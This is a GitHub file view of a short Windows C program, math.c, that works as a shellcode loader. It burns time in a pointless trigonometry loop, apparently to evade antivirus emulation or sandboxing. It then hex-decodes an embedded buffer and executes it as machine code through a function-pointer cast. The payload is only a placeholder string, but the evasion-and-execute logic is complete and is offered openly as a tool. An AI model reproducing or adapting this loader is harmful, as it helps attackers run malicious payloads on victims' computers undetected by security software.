-
Notifications
You must be signed in to change notification settings - Fork 30
/
Copy pathmath.c
68 lines (56 loc) · 1.17 KB
/
math.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
/*
Author: Daniel Sauder
Filename: math.c
Website: http://govolution.wordpress.com
License http://creativecommons.org/licenses/by-sa/3.0/
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <windows.h>
#include <tchar.h>
#include <stdlib.h>
#include <math.h>
void exec_shellcode(unsigned char *shellcode)
{
int (*funct)();
funct = (int (*)()) shellcode;
(int)(*funct)();
}
// return pointer to shellcode
unsigned char* decode_shellcode(unsigned char *buffer, unsigned char *shellcode, int size)
{
int j=0;
shellcode=malloc((size/2));
int i=0;
do
{
unsigned char temp[3]={0};
sprintf((char*)temp,"%c%c",buffer[i],buffer[i+1]);
shellcode[j] = strtoul(temp, NULL, 16);
i+=2;
j++;
} while(i<size);
return shellcode;
}
int main (int argc, char **argv)
{
//unsigned char *buffer;
unsigned char *shellcode;
unsigned char buffer[]= "encoded shellcode";
int x,y;
for (x=1; x<10000; x++)
{
for (y=1; y<10000; y++)
{
int a=cos(x);
int b=cos(y);
double c=sin(x);
double d=sin(y);
}
}
int size = sizeof(buffer);
shellcode = decode_shellcode(buffer,shellcode,size);
exec_shellcode(shellcode);
}